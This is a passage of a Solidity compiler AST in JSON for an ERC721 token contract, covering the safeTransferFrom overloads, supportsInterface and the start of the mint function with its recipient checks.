(address,address,uint256)"}},"id":33216,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4437:26:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33217,"nodeType":"ExpressionStatement","src":"4437:26:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33222,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"4495:16:21","subExpression":{"arguments":[{"id":33220,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33206,"src":"4508:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33219,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"4496:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33221,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4496:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33236,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33227,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"4573:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33228,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4577:6:21","memberName":"sender","nodeType":"MemberAccess","src":"4573:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33229,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33204,"src":"4585:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33230,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33208,"src":"4591:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"","id":33231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4595:2:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":33224,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33206,"src":"4552:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33223,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"4531:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4531:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33226,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4556:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"4531:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4531:67:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33233,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"4622:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33234,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4643:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"4622:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33235,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4660:8:21","memberName":"selector","nodeType":"MemberAccess","src":"4622:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"4531:137:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"4495:173:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33238,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4682:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33218,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4474:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33239,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4474:236:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33240,"nodeType":"ExpressionStatement","src":"4474:236:21"}]},"baseFunctions":[32040],"functionSelector":"42842e0e","implemented":true,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"4340:16:21","overrides":{"id":33210,"nodeType":"OverrideSpecifier","overrides":[],"src":"4418:8:21"},"parameters":{"id":33209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33204,"mutability":"mutable","name":"from","nameLocation":"4365:4:21","nodeType":"VariableDeclaration","scope":33242,"src":"4357:12:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33203,"name":"address","nodeType":"ElementaryTypeName","src":"4357:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33206,"mutability":"mutable","name":"to","nameLocation":"4379:2:21","nodeType":"VariableDeclaration","scope":33242,"src":"4371:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33205,"name":"address","nodeType":"ElementaryTypeName","src":"4371:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33208,"mutability":"mutable","name":"id","nameLocation":"4391:2:21","nodeType":"VariableDeclaration","scope":33242,"src":"4383:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33207,"name":"uint256","nodeType":"ElementaryTypeName","src":"4383:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4356:38:21"},"returnParameters":{"id":33211,"nodeType":"ParameterList","parameters":[],"src":"4427:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33284,"nodeType":"FunctionDefinition","src":"4723:443:21","nodes":[],"body":{"id":33283,"nodeType":"Block","src":"4874:292:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33255,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33244,"src":"4897:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33256,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33246,"src":"4903:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33257,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33248,"src":"4907:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33254,"name":"transferFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33202,"src":"4884:12:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33258,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4884:26:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33259,"nodeType":"ExpressionStatement","src":"4884:26:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33279,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"4942:16:21","subExpression":{"arguments":[{"id":33262,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33246,"src":"4955:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33261,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"4943:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33263,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4943:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33269,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"5020:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5024:6:21","memberName":"sender","nodeType":"MemberAccess","src":"5020:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33271,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33244,"src":"5032:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33272,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33248,"src":"5038:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33273,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33250,"src":"5042:4:21","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":33266,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33246,"src":"4999:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33265,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"4978:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33267,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4978:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33268,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5003:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"4978:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4978:69:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33275,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"5071:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33276,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5092:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"5071:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33277,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5109:8:21","memberName":"selector","nodeType":"MemberAccess","src":"5071:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"4978:139:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"4942:175:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5131:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33260,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4921:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4921:238:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33282,"nodeType":"ExpressionStatement","src":"4921:238:21"}]},"baseFunctions":[32030],"functionSelector":"b88d4fde","implemented":true,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"4732:16:21","overrides":{"id":33252,"nodeType":"OverrideSpecifier","overrides":[],"src":"4861:8:21"},"parameters":{"id":33251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33244,"mutability":"mutable","name":"from","nameLocation":"4757:4:21","nodeType":"VariableDeclaration","scope":33284,"src":"4749:12:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33243,"name":"address","nodeType":"ElementaryTypeName","src":"4749:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33246,"mutability":"mutable","name":"to","nameLocation":"4771:2:21","nodeType":"VariableDeclaration","scope":33284,"src":"4763:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33245,"name":"address","nodeType":"ElementaryTypeName","src":"4763:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33248,"mutability":"mutable","name":"id","nameLocation":"4783:2:21","nodeType":"VariableDeclaration","scope":33284,"src":"4775:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33247,"name":"uint256","nodeType":"ElementaryTypeName","src":"4775:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33250,"mutability":"mutable","name":"data","nameLocation":"4800:4:21","nodeType":"VariableDeclaration","scope":33284,"src":"4787:17:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":33249,"name":"bytes","nodeType":"ElementaryTypeName","src":"4787:5:21","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4748:57:21"},"returnParameters":{"id":33253,"nodeType":"ParameterList","parameters":[],"src":"4874:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33305,"nodeType":"FunctionDefinition","src":"5354:332:21","nodes":[],"body":{"id":33304,"nodeType":"Block","src":"5445:241:21","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33302,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33292,"name":"interfaceId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33286,"src":"5462:11:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30783031666663396137","id":33293,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5477:10:21","typeDescriptions":{"typeIdentifier":"t_rational_33540519_by_1","typeString":"int_const 33540519"},"value":"0x01ffc9a7"},"src":"5462:25:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33297,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33295,"name":"interfaceId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33286,"src":"5537:11:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30783830616335386364","id":33296,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5552:10:21","typeDescriptions":{"typeIdentifier":"t_rational_2158778573_by_1","typeString":"int_const 2158778573"},"value":"0x80ac58cd"},"src":"5537:25:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5462:100:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33299,"name":"interfaceId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33286,"src":"5612:11:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30783562356531333966","id":33300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5627:10:21","typeDescriptions":{"typeIdentifier":"t_rational_1532892063_by_1","typeString":"int_const 1532892063"},"value":"0x5b5e139f"},"src":"5612:25:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5462:175:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":33291,"id":33303,"nodeType":"Return","src":"5455:182:21"}]},"baseFunctions":[31872],"functionSelector":"01ffc9a7","implemented":true,"kind":"function","modifiers":[],"name":"supportsInterface","nameLocation":"5363:17:21","overrides":{"id":33288,"nodeType":"OverrideSpecifier","overrides":[],"src":"5421:8:21"},"parameters":{"id":33287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33286,"mutability":"mutable","name":"interfaceId","nameLocation":"5388:11:21","nodeType":"VariableDeclaration","scope":33305,"src":"5381:18:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":33285,"name":"bytes4","nodeType":"ElementaryTypeName","src":"5381:6:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"5380:20:21"},"returnParameters":{"id":33291,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33290,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33305,"src":"5439:4:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33289,"name":"bool","nodeType":"ElementaryTypeName","src":"5439:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5438:6:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":33355,"nodeType":"FunctionDefinition","src":"5880:338:21","nodes":[],"body":{"id":33354,"nodeType":"Block","src":"5936:282:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33313,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"5954:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":33316,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5968:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33315,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5960:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33314,"name":"address","nodeType":"ElementaryTypeName","src":"5960:7:21","typeDescriptions":{}}},"id":33317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5960:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5954:16:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"494e56414c49445f524543495049454e54","id":33319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5972:19:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""},"value":"INVALID_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""}],"id":33312,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5946:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33320,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5946:46:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33321,"nodeType":"ExpressionStatement","src":"5946:46:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33330,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":33323,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6011:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33325,"indexExpression":{"id":33324,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33309,"src":"6020:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6011:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":33328,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6035:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33327,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6027:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33326,"name":"address","nodeType":"ElementaryTypeName","src":"6027:7:21","typeDescriptions":{}}},"id":33329,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6027:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6011:26:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"414c52454144595f4d494e544544","id":33331,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6039:16:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e3f56786f4dc15ea567a5bcea1aa6e11424106cac78b0acf41b1b7deccad9f1b","typeString":"literal_string \"ALREADY_MINTED\""},"value":"ALREADY_MINTED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e3f56786f4dc15ea567a5bcea1aa6e11424106cac78b0acf41b1b7deccad9f1b","typeString":"literal_string 